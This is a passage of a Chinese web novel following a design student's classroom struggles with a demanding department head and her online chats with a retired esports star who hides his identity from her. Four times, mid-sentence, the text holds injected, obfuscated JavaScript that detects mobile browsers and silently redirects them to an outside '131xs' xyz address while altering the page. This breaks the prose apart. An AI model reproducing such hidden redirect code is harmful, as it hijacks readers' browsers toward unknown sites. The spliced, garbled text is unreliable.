每节课都要看设计进展,每次课老师都要提出修改意见,每周结束前都要上台汇报。 和高三的强度区别不大。 她无数次觉得,对于她们来说,上学和上班唯一的区别是——上学是付费找罪受,上班是拿钱找罪受。 反正都是当乙方,学生更是乙方中的乙方。 虽然上学没有绩效要求,但忙碌三年也只收获到僵硬的脊椎、亚健康的身体、拉不开差距的成绩和一堆烂尾作业。 秦见夏给朋友们说过无数次,自己大学三年没谈恋爱是因为学业忙碌,不是在做作业就是在睡觉,根本没时间谈。 他们所有人都不相信,认为是她的择偶要求太高。 秦见夏真是百口莫辩。 12. 改名卡 秦见夏这种中规中矩完成作业、没什么创新的混子,成绩只排在专业中游。 她们一班普遍没有二班上进,专业课分数都是平均分,基本上是谁英语好谁排名靠前。 当然也有人在卷,比如她们班的班长费云梦。 大一就卷进A大艺术学院的设计中心AUD(AUniversityDesign),大二大三又一直卷竞赛,偏偏英语还好,所以一直稳居专业绩点排名第一。 秦见夏对于这种卷王是心服口服。 让她在楼下AUD天天面对川总,那还不如直接退学轻松。 “吱呀——”一声,教室门被范川推开。 所有同学立刻端正姿态,屏住呼吸,等候系主任的审判。 范川还是一身经典的黑色短袖,因肌肉练得实在庞大,导致T恤变成紧身衣,手臂线条汹涌澎湃,左手腕是黑色原装表带的AppleWatch。 向上看去,是一张沧桑又健康的脸庞,黑白相间的头发,被他扎成小辫绑在脑后。 一看就是饱受折磨的经典乙方皮肤,只不过,是设计部高管伴生皮。 意料之内地,范川站定在秦见夏身后,如恶魔般低沉的声音在她背后响起—— “小秦同学,你的进度怎么样了?” 秦见夏艰难维持住体面的微笑,从容不迫地打开早就准备好的ppt,点下全屏和播放键,暗自提起一口气,打算给老师汇报自己的设计思路。 信息设计,顾名思义就是整合数据,以富有设计感的形式,使读者简洁、直观地得到需要的信息。 可秦见夏最痛恨数据和图表。 数据找不到,图表懒得做,作业还得交,方向还必须围绕淮市。 所以,上周第一节课,她本来想了个万金油主题——茶叶。 淮市本身是个三无城市,无历史、无特产、无景点,但茶叶是滁省特产,种植范围又广,能稍微和淮市沾点边。 关键是资料好搜集,图表可以用制茶过程代替,茶叶还有具体的形象,好做延展。 上周五,本来范川都给秦见夏的提案通过了,结果快下课时,另一位教她们设计心理学的周老师,忽然从后门偷袭。 发现她的主题是茶叶后,周老师推了推圆框眼镜,抱起双臂,笑道:“茶叶都是十年前,我们那时候做作业做的了。” 言外之意是——你这个太老土。 周振华挥一挥衣袖不带走一片云彩地离开,徒留秦见夏坐在原地瞬间爆炸。 前期调研都快做一半了,老师突然说方向不对。 这种崩溃的感觉,无异于大改三次稿子最终甲方还是选择第一版。 于是那天下课回到宿舍后,秦见夏就崩溃地在王者峡谷里开始奋战。 这几天倒是上了王者,但她的作业还不知道何去何从呢。 今天中午,她痛定思痛,一怒之下用两小时赶了一版新方案。 秦见夏迅速在脑中理清逻辑,给范川汇报道:“老师,周老师上周五来看过我的方向之后,觉得这个题材有些守旧,所以我打算换个方向,改做非遗鱼灯的可视化,以下是我的大致思路……” 之后的十分钟里,她先是介绍了非物质文化遗产“鱼灯”的简介和主要特征,以及搜集到的数据类型和信息构成,最后还给范川看了大致的设计意向参考,和五分钟画出来的草图。 她给自己讲得口干舌燥,总算播到“THANKS”那页,说完“我的进度目前就是这些”后,秦见夏止住声音,小心翼翼地抬头,观察系主任的神色。 只见范川表情凝重地点了点头,肯定地“嗯”了一声过后,突然在她旁边的凳子坐下,面带微笑—— “你还是做茶叶吧。” 秦见夏表情管理失败:“……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669823|173101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 范川:“我们这次主要是围绕淮市,做可视化设计,鱼灯是佘县那边的,都到滁省南边了,离咱这儿十万八千里啊,你可明白?” 秦见夏以嬉皮笑脸掩饰尴尬,试探道:“那……我再想想别的方案?” “想什么想——你就做茶叶吧!” 范川的口吻带着两分不耐烦,令她摸不透老师的态度。 老师这是觉得她无药可救了还是…… 川总忽然低头与她对视,发出死亡质疑:“谁教你信息设计课?你到底是听我的,还是听周振华的?” 秦见夏想也不想,飞速回答:“听您的听您的!” “那就做茶叶!滁省茶叶基本不分家,你只要不做某个山头特有的不就行了。把哪个名茶安在淮市头上,谁能跳出来说这不是淮市特产?”范川直接给她提供解题思路,“滁省十大名茶,挑一个具体门类做去。” 秦见夏立刻道谢,双手合十笑容谄媚:“我明白了谢谢老师!让老师费心啦~” 解决完秦见夏后,范川又绕到下一位同学那里听汇报。 秦见夏关闭ppt,总算松了口气。 至少方向是确定下来了。 老师自己定的,大概率不会再改。 再改只能说算她倒霉。 只不过…… 她一言难尽地,给一堆后台点了叉。 今天又努力努力白努力了。 范川已经绕到两个室友那边,秦见夏拿起手机,摸鱼前先打开Pinterest(设计网站),以防老师突然在背后偷袭。 然后,静音打开TIMI。 她本来打算开一把速度与激情的大乱斗。 但等加载出首页后,秦见夏还是先切换淘宝,花费二十八块买了个战令,把战令皮肤和改名卡都拿到手后,给自己改了个响亮的id—— 「人健学设计」 13. 看直播 终于不用顶着中二id了! 秦见夏改完名,发现辅助哥也在线,反正闲着没事干,她向辅助哥发起私聊。 人健学设计:「辅助哥,我改名了哦」 人健学设计:「怕你找不到,先给你说声」 辅助哥秒回。 都别抢我辅助:「真脱粉了?」 都别抢我辅助:「你是学设计的吗?」 教室桌子呈“凹”字型排列,一人或两人用一张大长桌。 秦见夏正好坐在“凹”的左下角,将电脑用支架抬起来,可以完美挡住前面的视线。 范川此时站在距离秦见夏不到两米的左前方,正聚精会神地听苏织汇报。 陈文欣坐在苏织身旁,双手撑着膝盖,身体紧绷,姿态一如既往地局促。 秦见夏此时刚好灯下黑,玩手机完全不会被抓住。 人健学设计:「是的,我是学视觉传达设计的」 人健学设计:「你可以理解为平面设计或者广告设计」 都别抢我辅助:「那你肯定很厉害」 人健学设计:「我是混子」 人健学设计:「来双排吗?」 辅助哥过了半分钟才回复:「你现在是在上课吗?」 都别抢我辅助:「要不等你下课吧,我正在看jichoo直播」 其实是谈继秋正在直播,刚开播没一会,不方便下播。 人健学设计:「哦这样啊…」 人健学设计:「jichoo直播有这么好看吗?」 人健学设计:「那我也去围观一下」 秦见夏退出王者,小幅度抬眼,心虚地瞥了一下前方。 她听到范川语气恶劣,对陈文欣说:“你这小孩怎么又画二次元风格?我上学期包装课的时候不是说过了吗?刘鹏不是也给你们说了?不要把你们二次元那套东西搬来课堂!” “如果我教你三年,你还是只画这种卡通风格,一点也不动脑子做设计,那你来学校学什么?” “这么喜欢日本的风格,为什么不多看看原研哉和三宅一生呢?再说了,你画的那种也不是日漫啊?” “你要是喜欢画ip,往泡泡玛特或者比较成熟的商业风格去靠,老师也不说什么,但你说你现在做的这东西,和设计沾一点边吗?” “这些高中生都能画!” 秦见夏有“老师生气恐惧症”。 她察觉到范川好像真的动怒了,不由得收起手机,坐直身体,小心翼翼地将目光投向“战场”,呼吸声都不敢太大。 担心殃及池鱼,又不敢一直盯着,于是她用手指,不停地摆弄电脑的触控板,装作一副忙碌的样子,偶尔悄悄偷瞄几眼。 正打量范川的神态时,秦见夏不小心与他对上目光。 顿时呼吸一滞、噤若寒蝉。 范川却对她露出无语的神情,一边翻白眼一边叹气,像是同学之间那样开小差。 秦见夏:“……” 其实川总都四十多岁了,孩子都上小学了,然而感觉性格还是比较幼稚。 很需要情绪价值的一款中年男老师。 平时一遇到令他无语的事,就经常和两个班长这样交换眼神,像是在说:“你说遇到这种学生让我怎么教?” 偶尔也会这样瞥秦见夏,仿佛综艺里的reaction,让她倍感受宠若惊。 虽然这样的目光交流,对于那位被批评的当事人来说,显得有点mean。 但可以使她的虚荣心,在某种程度上爆棚。 这不就证明,川总认可了她的实力吗? 别管了,拒绝老师的事她做不到。 范川在秦见夏那里日常得到他需要的reaction目光后,再度抱着胳膊,对陈文欣和苏织无奈道:“你们组——必须立刻改画风,要不然就改方案,下课前改出一版草图给我看。” Oldboy艺术家川总说完后,很有个性地大声叹了口气,背着手正准备走向下一组同学,却被陈文欣突兀的声音打断—— “可是老师……” 谁能想到,陈文欣居然有胆量和范川对抗。 范川只是有点恨铁不成钢的着急。 陈文欣是彻底急了。 她声音洪亮,公然反驳老师,语调里带着满满的不认同:“我们做的是风筝,我认为这种画风和风筝结合是没有问题的,可能我们年轻人,会比较喜欢这种类型的风格……” 范川&苏织&秦见夏&全班同学:“……” 这么勇敢,是明天就打算退学了吗? 坐在她身旁的苏织也忍不住,用范川同款眼神和秦见夏对视一眼。 然后面色狰狞,使劲去扯陈文欣的衣角。 试图暗示她,别再激怒老师。 把专业课老师惹急了,究竟对学生有什么好处? 那最后分数还得范川打啊! 还明里暗里阴阳老师岁数大跟不上潮流。 拜托—— 人家川总再不济也是拿过红点奖的德国留子,是在一众央清国北服中传硕和“艺二代”里,杀出重围的“草根”设计系主任兼AUD负责人。 这么多大拿老师,就范川一个人在学生那里,得到个“川总”的外号,实力可想而知。 包括秦见夏在内的所有同学,全部面面相觑,暗自倒吸一口冷气。 整个教室内,静得只能听到台式空调运转的轰鸣。 川总直接笑出声。 仿佛听到了天大的笑话。 “年轻人?”范川慢悠悠地转回身,冷笑一声,“年轻人又不是瞎子!” “你现在给我拿着你画的卡通人,去学校门口挨个问,问年轻人喜不喜欢你的设计?” “哦——不能说喜不喜欢,你去问问那些人,如果你这个风筝是一款产品,他们会不会买?” 陈文欣依旧嘴硬:“老师,我还是觉得,这个既然是我们的作品,应该按照我们的想法来做。” 所有人:“……” 苏织彻底放弃挣扎,忍不住对她翻了个大白眼,气若游丝地偏头,和秦见夏再度对视一瞬,然后扶额打开Illustrator,自顾自地按照老师的要求重新做。 “我是真没想到,居然有学生马上大四了,还能说出这种话……”范川彻底发了脾气,“既然你这么有想法,你为什么还要坐在这里听我上课?你去给我上课得了呗?” 秦见夏替人尴尬的毛病又犯了。 她一边佩服这陈文欣真是个勇士,一边又觉得,她脑子的确木得密不透风。 这倒不是她第一次公然“抗旨”。 他们院老师都是什么人? 不是国内艺术类top就是港大包豪斯,不是自己开公司工作室的行业大拿,就是深耕学术的名望教授。 况且除了极个别吹毛求疵的老师外,大部分老师都出乎意料地尽职尽责。 大家上赶着巴结还来不及,居然会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669824|173101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有人蠢到这样子顶嘴? 不知道该说她不畏强权,还是说她的队友苏织很可怜了。 大家完全想象不到,表面上唯唯诺诺的陈文欣,却是最轴的人。 基本上,只要老师提出修改意见,她95%不乐意改,相当坚持她的Q版大头风格,认为自己是独树一帜的二次元小画家。 实则三年过去,她的设计水平和大一刚进校时没什么变化。 秦见夏本来以为,陈文欣在系主任的课上,应该会识趣地收敛点,毕竟大家都很怕范川。 然而,自卑敏感的陈文欣,出乎她意料地天不怕地不怕。 没想到……自己居然又猜错了。 “好吧。” 最后竟然是范川妥协,明显懒得再争辩:“你们组、以后、想怎么做就怎么做,随心所欲好嘞,上课也不用拿来给我看进展了,可行?” “放你们自由咯~” 川总阴阳怪气地说完,转身去看下一组方案。 陈文欣当即面红耳赤地抄起手机,齐耳蘑菇头发梢遮住她的侧脸。 她手上不停地打着字。 苏织在一旁生无可恋,手都快搓出火星子。 秦见夏看到此情此景,将目光收回到自己的电脑屏幕上,嘲讽地扯了扯唇角,不由得在心里腹诽—— 过两天刷微博,大概就能看到川总的身份证号和户籍地址了。 估计人家的小群和设了分组的空间,早就给这四旬老汉屠了一遍。 除了陈文欣外,接下来也没什么乐子可看。 秦见夏拿起AirPods,戴上左耳,点击浏览器。 苏织刚在范川面前不太敢说话,此时生气地小声对陈文欣说:“你别画你那个了,我把这次作业全做了,你给我找数据和资料就行……” 陈文欣愣愣地偏头看她,仿佛受到莫大的委屈,板着脸应下。 秦见夏在Safari里输入「黄油直播」,闻言,不禁暗自揣测。 会不会这家伙的真正目的,其实是把作业全部甩给组员…… 谁说这陈文欣蠢啊,这简直太聪明了。 能者多劳,不能者不劳。 这就是小组作业。 秦见夏刚打开黄油直播,Jichoo的直播间就从首页推荐位弹了出来。 不得不承认,即便很长时间没关注,但此电竞花瓶的颜值确实毋庸置疑。 她调高音量,点进Jichoo的直播间,细细品味此男神颜。 谈继秋是淡颜系,但帅味很浓。 当然,活人微死感也很浓…… 他头发微长,似乎久未打理,和皮肤形成鲜明的黑白对比。 秦见夏歪着脑袋仔细观察,发现他皮肤更白了,肤色像女孩子一样。 谈继秋此时正好偏头,拿起手机看了一眼,似乎在等待谁的消息。 这个角度,刚好能看到他挺拔的鼻梁,和微翘的鼻尖。 她再度感叹——简直是完美的鼻型! 不是小巧的鼻头,谈继秋的鼻子有一些钝感。 正是稍稍敦实的鼻型,使他这种小白脸,完全没有精明感。 真神奇了。 谈继秋退役后怎么没发福呢? 她看同龄选手都发福了啊? 秦见夏一边想着,一边切出去查了个数据,将网页收藏后,又忍不住回到直播间,发了条弹幕—— 勤捡虾球:「我看继军也是风韵犹存啊」 14. 更麻烦 此时正在寻找对局,谈继秋手边是贴有防窥膜的手机。 他时不时拿起看两眼,又悻悻放下。 进入BP页面,谈继秋选了逆羽,然后偏头看向另一个显示器的弹幕,说:“能不能不提继军了,叫秋神也比这个强。” 说完,他顺手拿起Fine放在旁边的粉色手持镜,拨了拨刘海,小声道:“最近变帅了吗?我没发现。” 虽然他说自己没发现,但秦见夏还是能听出,他语气里罕见的臭屁劲。 她当即打字:「不对劲,有情况」 底下弹幕也跟着刷屏:「不对劲,有情况」 谈继秋放下镜子,淡淡道:“没有,最近在做限时任务。” 游戏加载间隙,他打开围棋小游戏,边下棋边分析BP情况,有粉丝发弹幕问他赌局情况。 谈继秋懒洋洋地用右手托着下巴,风轻云淡地说:“不知道,对我来说输赢无所谓,跟Fine说过了,最后一次。” 昨天和Fine打赌后,他再次失眠,一整夜都良心难安。 换做男粉倒无所谓,他们被当做赌注,也只会感叹—— Jichoo和Fine居然拿我当赌注,我何德何能! 然而,这是个年龄不大的女大学生,曾经的确真情实感地粉过他。 他还骗她自己是高中生,实在太没品。 谈继秋的心里愈发愧疚。 早知道就应该当场拒绝,哪怕被Fine纠缠也认了。 再回过神时,弹幕又刷了一连串的耳朵emoji表情,声称“有情况”。 “没有情况,我不是说过了,最近很忙,没有谈恋爱的计划。” 谈继秋依旧在线辟谣,避免营销号又剪辑出去,传他和女网红谈恋爱。 秦见夏已经切出去做作业,只拿Jichoo的直播声音当bgm,比动感dj还提神一些。 他的声线算是正常,既不是气泡音也不是夹子音,属于大学里经常能听到的音色。 秦见夏给下载好的素材命名时,突然意识到,Jichoo好像只比她大四岁诶。 他的生日在九月份,现在也才不到二十六,如果换算成学生的话,或许刚刚研三。 但不知为何,她一直有种和Jichoo差了辈的感觉。 学生时代喜欢过的偶像,总觉得远在天边。 突如其来地,秦见夏对辅助哥喜欢Jichoo的原因产生探究欲,想知道,他和自己那时候一样吗? Jichoo都退役了,总不能粉上他还真是每个高中生的宿命吧。 她打开Q|Q的游戏消息,点击辅助哥的对话框,问他原因。 耳机里,忽然传来一道Q|Q消息的提示音。 秦见夏还以为是自己电脑版Q|Q的声音,抬头瞧了一眼,发现她只登了微信。 那就是Jichoo直播间传来的。 她将窗口切回直播间,看到Jichoo的霞,站在下路防御塔里一动不动。 而他本人,正抱着手机一丝不苟地打着字。 秦见夏:“?” 队友在逆羽身后扣了一排黄色问号,谈继秋仍然视而不见。 一分钟后,他放下手机。 当手机与桌面产生的碰撞声,从耳机里消失时,秦见夏的手机屏幕随之亮起—— 是辅助哥发来的游戏消息。 秦见夏喝了口四季春,隐隐觉得有些怪异,但又说不上来哪里怪。 总不能辅助哥皮下是Jichoo吧? 这简直比辅导员不催青年大学习还荒诞。 弹幕又是一水的「你不对劲」。 人健学设计:「你为什么喜欢jichoo啊?」 谈继秋看到这条消息时,有种想要坦白一切的冲动。 他觉得自己太不道德。 然而开弓没有回头箭,现在坦白两边都得罪。 还是继续带她上分,刷刷好感度,等月底再看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669825|173101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 这两周把粉丝哄高兴,好感度刷回来点,总比现在自雷强。 希望月底她能看在半个月游戏搭子的份上,喷得轻一些。 之后再多送几个648,或许能挽回…… 所以谈继秋依旧用高中生的口吻,回复她—— 「大概是因为……他一直在坚持自己喜欢的事业吧。」 这倒也不算骗人,他确实认为,自己坚持这么多年挺厉害的。 别的选手,塌房的塌房、转行的转行,谈继秋却还是和十年前的自己一样。 不过,或许给这位粉丝坦白后,自己也算“塌房”了。 他简直不敢想,营销号会写成什么样—— 「知名电竞选手竟伪装成男高撩拨女粉丝!」 「一代神の堕落!Jichoo竟仙人跳女粉!」 「秋神也塌房!FYZ某知名ADC选手公然私联粉丝!」 想想就头大。 真不知道昨天怎么鬼上身答应Fine了。 为逃避麻烦,结果把事情搞得更加麻烦。 谈继秋无比后悔。 「大概是因为……他一直在坚持自己喜欢的事业吧。」 秦见夏看到这条消息时,心中五味杂陈。 她高中粉过Jichoo三年,她了解他的性格,以及选择打职业的原因。 他是一个平时看起来蔫蔫的、缺乏活力,内心反倒非常有主见的人。 他的人和他的打法如出一辙,有种蛰伏且坚韧的感觉。 当所有人都以为他已经穷途末路时,他却总能悄悄逆风翻盘。 解说们总是评价,他如鬼魅一般。 秦见夏却觉得,他像绿萝。 每一片叶子都生得漂亮,不像其他植物那样引人注目,仿佛是世界上最无聊的植物。 然而它会在任何角落里暗中生长,当你注意到他时,他早就自顾自长得枝繁叶茂。 谈继秋就是这样的人。 15. 受触动 高中时,秦见夏搜索过谈继秋的生平经历。 他就是粤省地级市一个普通家庭的小孩。 父母是普通双职工,上面有一个大他两岁的姐姐,名字叫谈承春。 谈继秋和他姐姐的学习成绩都很优异,考上了同一所重点高中。 他读高一时,谈承春正好读高三。 然而他家重男轻女。 父母计划让谈承春高中毕业就早早嫁人,却会一直供谈继秋读书上大学。 谈继秋和姐姐的关系非常好。 小时候父母上班忙,都是只比他大两岁的谈承春学着照顾他、踩着板凳给他做饭。 他知道姐姐很想读书,所以坚决反对父母的决定。 明明家里不是供不起两个大学生,但谈继秋的父母就是不愿意“投资”女儿。 他们仿佛将姐姐视为外人那样,单独劝过谈继秋,他们口口声声地说,为了他的将来,这样才是对他利益最大化的办法。 谈继秋却只看到了两个字——吃人。 门外的姐姐,站在厨房里,沉默地切着一家人即将要吃的菜。 门内的父母,却早已算计好她的未来。 他厌恶这样的家庭。 高一暑假,谈继秋不想见到父母,天天泡在网吧打英雄联盟,刚好收到FYZ青训队的消息,建议他来打职业。 他二话不说就同意了。 他知道父母不会允许他辍学,就直接翻出压岁钱,托人买了一张前往晋海的火车票硬座,背着书包,随便装点日用品,离家出走了。 一三年的火车管理并不严格,谈继秋的逃亡一路顺风。 他还给父母留了张纸条,上面写着—— “你们不供我姐读书,我供。” 谈承春是第一个发现弟弟离家出走的。 起初,她吓坏了。 问了很多谈继秋的同学,才知道他是去打职业了。 后来她又辗转联系了许多人,才得知弟弟在哪家俱乐部。 那时候,谈承春还没有银行卡,电子支付也并未普及。 她只能将自己存下的所有钱,都用信封包起来,塞进谈继秋冬天的棉衣夹层里,一起寄去远在黄浦江边的俱乐部。 谈承春写了很长很长的信,告诉弟弟,她不需要他来供她上学,她有能力打工挣取学费和生活费。 她不需要弟弟为这个家庭的错误负责。 她心里明白,弟弟和她一样,同样没有选择权。 谈承春等待许久,才收到弟弟打来的第一个电话。 他在电话里说,俱乐部对他很好,电竞选手就这几年黄金时期,比起读书他更喜欢游戏。 但,谈承春太过了解自己的弟弟,他只是对父母失望至极。 他迫切地想要经济独立,脱离这个家。 后来谈继秋拿到次级联赛的冠军,顺利进入一队,当了一年替补后,正式成为FYZ的首发AD。 他从此就一点一点打进大众视野,成为LPL的冠军ADC。 这篇报道的标题是“以逆羽击碎封建桎梏的Jichoo”,给秦见夏留下了极深的印象。 她不知道他的家庭现在如何了,但她想,有谈继秋这样的弟弟支持,他姐姐一定可以步履不停。 谈继秋从十六岁一直打到二十五岁退役,退役后又直播到现在,成为LOL头部主播。 英雄联盟这个游戏,他坚持了十年。 很多选手打几年就心态崩溃,选择退役转行,也有选手因伤病或家庭原因放弃,还有不少私生活不检点的,被曝光后断送职业生涯。 天下英雄如过江之鲫。 真正坚持下来的,少之又少。 谈继秋做到了。 秦见夏盯着辅助哥发来的那条消息,内心深受触动。 她仿佛沙漠里迷路的旅者,兜兜转转,绕了一大圈。 一抬头,又蓦然偶遇,最初照亮过她的那盏明灯。 虽然还是回到了起点,但这场对局,她可以重新选择她的英雄。 谈继秋发现粉丝很久没有回复,对局结束后,他想了想,给自己找了个切入点,方便日后道歉。 都别抢我辅助:「你有喜欢的东西吗?」 谈继秋的计划是—— 如果她说喜欢打王者,那他就送全皮给她作为补偿。 如果她说喜欢别的,他也尽量满足,哪怕是她说喜欢明星,他也努力托人帮她加到微信。 结果,“人健学设计”发了条:「谢谢你辅助哥,我想明白了!」 谈继秋:“……?” 这是……在说什么呢? 直播间的观众意识到Jichoo一直在看手机,围棋不下了、对局不找了、也不和他们互动了,满脸都写着“我在等人给我回消息”。 弹幕刷疯了—— 「疑似真嫂子出没」 「之前也没听说过继军有女朋友啊/疑惑」 「他和dollar不是一对吗??肯定在和美元发消息」 「钱皇早八辈子有女朋友了」 「不是?能不能别看到俩男的就说是通讯录?」 「震惊,jichoo死人微活了」 「和dollar楼上楼下的,喊一嗓子不比发微信快?」 「难道是和尼奥尼?」 「别啊,我不同意nyoni这个嫂子,nyoni解说都解不明白,要是这我就脱粉了」 「秋神不至于看上尼奥尼吧,尼姐快整成啥了都」 「可别学fine那个b找转会网红啊」 「继军这么多年都挺洁身自好的,人家退役了谈个恋爱咋了?别把饭圈那套带来电竞圈,jc又不是明星,总不能一辈子抱着鼠标键盘lol过日子啊」 「让咱罚金哥给秋神介绍点人造网红」 「哥你可别当接盘侠啊」 「咱电竞第一处男也是好起来了」 「卧槽!?我不同意尼奥尼这门亲事」 谈继秋没再追问,她究竟想明白了什么。 他一头雾水地放下手机,抬头瞄了眼弹幕,他们正刷屏刷得飞起,热度已经快突破七百万。 谈继秋:“?” “怎么就嫂子上了?”他再度一脸疑惑,下意识说,“你们在说什么?我刚刚在回粉丝消息。” 结果弹幕又刷屏—— 「传下去,嫂子是jichoo粉丝」 「传下去,嫂子是jichoo粉丝」 「哥,咱还是别天天打游戏了,再打下去本命英雄该改成盲僧了」 「传下去,嫂子是jichoo粉丝」 「传下去,嫂子是jichoo粉丝」 谈继秋:“??” 这帮人简直莫名其妙。 他扭头发了一千个口令福袋,让他们闭嘴。 还在教室里上课的秦见夏,早就退出了直播间,也因此阴差阳错地没有听到,谈继秋的那句“在回粉丝消息”。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669826|173101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 范川站在讲台上,双手撑住讲桌,讲着讲着ppt,忽然意有所指:“我知道,咱们同学都是美术生,也都很有自己的想法和个性。” “我们老师,让你们不断修改呢,一来,是为了训练你们,以便提前适应商业化的工作模式。二来,是想锻炼你们的心态。” “不管是作品也好,还是心性也好,在这种反复打磨下,一切终将走向成熟。” “磨砺,对你们的成长是有帮助的。在学校受挫折,总比走向社会了才摸爬滚打强吧?” “你们现在在学校里犯错误,只要不是上热搜那种程度,我们老师都是能够包容的,”他侧倚讲桌,用手肘撑在桌棱,“等真正进入社会了,你们再看——哪怕工作中出现一小点错误,都会被无限放大。” “所以,不要对成长感到恐惧。” “你们晓得蚌壳吧,”范川举了个例子,用双手比划蚌壳的形态,“蚌受到外界杂质的反复刺激,经过表皮细胞的不断分裂,逐渐包裹刺激源,最终才形成珍珠。” “大家都晓得蚌肉很嫩,外界的刺激对它来说是很敏感的,所以珍珠的形成过程十分痛苦,”范川开了个玩笑,“我猜很多蚌,估计受不了刺激,直接撂挑子不干了,下场可能是被人抓了吃掉对吧。” 他话音刚落,同学们哄堂大笑。 范川等大家笑完,又提高音量:“但是——坚持下来的,最终都能收获珍珠。” “只要你们足够坚信。” “还没有得到珍珠,那一定是时候未到,不是失败。” “我讲这些是想告诉大家,我们学院的每位老师,手上都有校企合作项目。我们可能不是最先进的,但我们一定是最懂市场需求的……” 每次范川讲课,秦见夏都会认真听讲。 一来,范川不让学生玩手机,二来,他的讲课内容确实对她很有帮助。 其实川总完全可以像别的老师那样,照着ppt去念,但他向来坚持“讲”课。 仿佛一个苦口婆心的老爹。 所以她觉得,范川应该是良师。 “我想在座的各位,应该没有多少是毕业后不用工作的富二代吧?大家未来都会成为‘美工’,能真正搞艺术的,少之又少。” “现在上学期间,按照老师的思路来打磨你们的方案,这是一个提前演练的社会化过程。你可以不喜欢,也可以不理解,但是你不能不会。” 虽然知道这帮二十岁的孩子们,不可能真正理解,但范川仍然诲人不倦:“你们学习这套商业流程和风格,与你们自己的个人风格并不冲突。你们那什么游戏原画、CG、插画还有什么概念设计等等,这和咱们的课程,其实没什么特别大的关联。” “你不可能说,你给某个民族企业设计个产品包装,结果放个二次元风格的东西上去,那老板和客户肯定都不买账……” 之后,范川又列举了几个学长学姐和同事的例子,有的在腾*做游戏,有的在*易做UI,还有创业失败去某游当中层领导的,无一例外,都是上学期间作业完成度高,并且形成了个人风格的。 “……” 范川给自己讲得口干舌燥,听到下课铃声响起,立刻拔掉投屏线,一边收拾电脑包,一边说:“今天就上到这,一会我给群里发几个实习内推,你们想去的,可以试着投一投。” 秦见夏随同学们一起说完“老师再见”后,抱起双臂,倒在椅子靠背上,盯着电脑壁纸上眉目凛冽的金克丝,若有所思。 16. 美男计 秦见夏最初的梦想,是成为一名概念设计师。 年少的时候,心比天高。 认为自己有朝一日,能够坐在拳头总部,为喜欢的游戏设计角色。 或者只要成为一个项目的分子,她也会很满足。 然而现实是—— 家里没有足够的资本出国,高考落榜985,大学每天忙来忙去、按部就班地考了一堆没用却必不可少的证书。 如果不在考公考研里二选一,就只能去当个底层打工人。 现实与梦想遥不可及。 在洛杉矶喝着咖啡当设计师? 那是小孩子才会做的梦。 没有背景的普通人毕了业,只能去做美工。 周振华老师在京市头部4A公司实习一个月后,当即选择出国读研读博,然后回到大学当老师。 范川老师甚至本科在包豪斯半工半读,毕业后回国还是选择教书。 社会不需要人人都是包豪斯毕业的高知,社会只需要电商美工。 可惜她时至今日才明白这个道理。 虽然宇宙的尽头是编制,但是,秦见夏今天突然觉得—— 她为什么不能试试呢? 不要做“应该做的事”,试一次吧,做自己喜欢做的事。 正如老师所说,梦想和生活并不冲突。 不用在二十岁的年纪,就把自己套进标准模板里作答。 人生这套试卷,也没有正确答案。 考公考研的目的,是为了得到一份稳定且体面的工作。 但工作的目的,仍然是为了过上喜欢的生活。 许多人像“喜欢把碗里的肉留到最后吃”那样压抑半生,结果不到退休,就英年早逝。 又或者,熬到可以享受的年纪,到头来却早已丧失年少时的热情。 其实这块肉,无论先吃后吃,到肚子里都是一个结果。 喜欢这种东西,是不能等的。 喜欢的事情可以随时做,只是需要一点逆水行舟的勇气而已。 怕什么? 试试呗。 秦见夏打开班级群,看到老师发的实习招聘信息,决定着手准备作品集。 她要往“作业集”里放点新东西。 秦见夏点开妈妈的对话框,打字道:「妈咪能不能帮我找个画本啊,之前我给你看过的,在我卧室书柜最顶上,有个蓝色的素描本,封面是风景照,你帮我把里面的草稿拍给我~」 秦见夏妈妈很快答应,一会回家帮她找。 秦见夏又问:「妈,要是这周末的四级我又没考过咋办啊?」 她上了大学就实在不乐意学英语,大二第一次差了十分,之后一直摆烂到现在。 